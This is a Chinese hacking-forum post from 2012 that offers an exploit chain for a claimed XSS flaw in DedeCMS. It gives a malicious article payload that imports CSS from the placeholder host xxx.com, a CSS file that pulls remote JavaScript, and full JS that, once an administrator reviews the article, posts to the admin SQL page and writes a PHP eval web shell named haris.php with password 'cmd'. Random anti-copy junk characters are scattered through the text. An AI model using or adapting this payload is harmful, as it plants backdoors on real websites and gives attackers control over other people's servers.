找回密码
 立即注册
查看: 2560|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
* L$ \+ N% b  l& I3 }+ m2 [: Q2 v为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
% ?0 R, g0 q' E$ H1 N9 w目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
( H# x4 z2 ]7 J4 S) v2 M& q下面说说利用方法。3 S9 y* D& x1 l3 m
条件有2个:
' r6 A( I( v$ l7 M1.开启注册: Y3 o# p# D8 O  B
2.开启投稿2 j4 S6 s% t4 R% i) [. B9 L
注册会员----发表文章
! H# O! q* p+ L2 ^内容填写:
6 P* H, V* @5 [( x, u3 F复制代码
* m7 w+ k3 M; s/ h<style>@im\port'\http://xxx.com/xss.css';</style>, E* t6 a2 U2 X: g4 T
新建XSS.Css, @3 `: j# J7 ^/ V" C% R, l( O
复制代码( F  y0 e* B! I; n8 u7 ~
.body{) |4 d/ \1 T6 A: j* t4 x; t
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }$ T. b, U* v' M, d7 Y- `9 Y
新建xss.js 内容为9 ~/ X: G. w/ s. B
复制代码
/ ]% t# ?1 _# @; K1 h1.var request = false;
: c0 }7 b$ U* V2 h2.if(window.XMLHttpRequest) {1 g- i( \1 J8 z6 G% ?2 @2 ]( J
3.request = new XMLHttpRequest();
( U, w) J, j# ^2 y7 M4.if(request.overrideMimeType) {
9 L  Z5 c0 e; `. ^+ c5.request.overrideMimeType('text/xml');
! a9 q. F% Y8 E7 R/ ^6.}
5 ]* p, ?+ K/ U; P" q7.} else if(window.ActiveXObject) {
: e* h& ?. t, g: _" Z/ ?: p8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];( E  f: f' K1 J( N/ e
9.for(var i=0; i<versions.length; i++) {  f% ~- G' E0 O3 n. E: K8 A" ~
10.try {# q6 y3 \" ^" b# U& o& i) Z9 s
11.request = new ActiveXObject(versions);. h" m: P* w% \* y* p7 L2 h
12.} catch(e) {}
8 ^% z. O& `' a13.}
% k# C7 W0 L6 _4 p0 w6 \1 Q! R  q14.}: @* j3 Z" e% @0 }1 e
15.xmlhttp=request;( w! X: J6 _" B; m# {/ m! c0 P- q! O
16.function getFolder( url ){9 ?! G4 \1 E- m  I, e9 U/ f
17. obj = url.split('/')' u# S& t. G# B* I! [* N
18. return obj[obj.length-2]$ U& `5 `1 [; @6 Z2 |- a
19.}
* r+ ^6 h; x0 \" c20.oUrl = top.location.href;
% U( ]; o- ]) [4 [, _, B3 o$ c21.u = getFolder(oUrl);0 N  {( y4 K# B/ i8 c
22.add_admin();
- z! r2 H' o$ D6 q$ c1 Y7 T! ]* Z23.function add_admin(){
! l% V9 P1 Q$ f6 r0 J1 j+ ?* W24.var url= "/"+u+"/sys_sql_query.php";( J2 W4 |. Q1 |- y/ P2 D/ `$ P
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";9 w- c* F2 R1 K. G& t
26.xmlhttp.open("POST", url, true);
2 G6 \5 H# J) ~1 U4 k( z) ]27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
/ ]7 |/ `! Z( z* ?28.xmlhttp.setRequestHeader("Content-length", params.length);$ t* r4 z* Y  P. x9 U6 j
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");6 Y: u/ K- n$ k2 [; `6 n0 g; V: T
30.xmlhttp.send(params);1 G: M' z' h. g, T6 X  j0 X& ~( M1 Z
31.}
2 R- Y2 g9 e5 o7 A" n当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表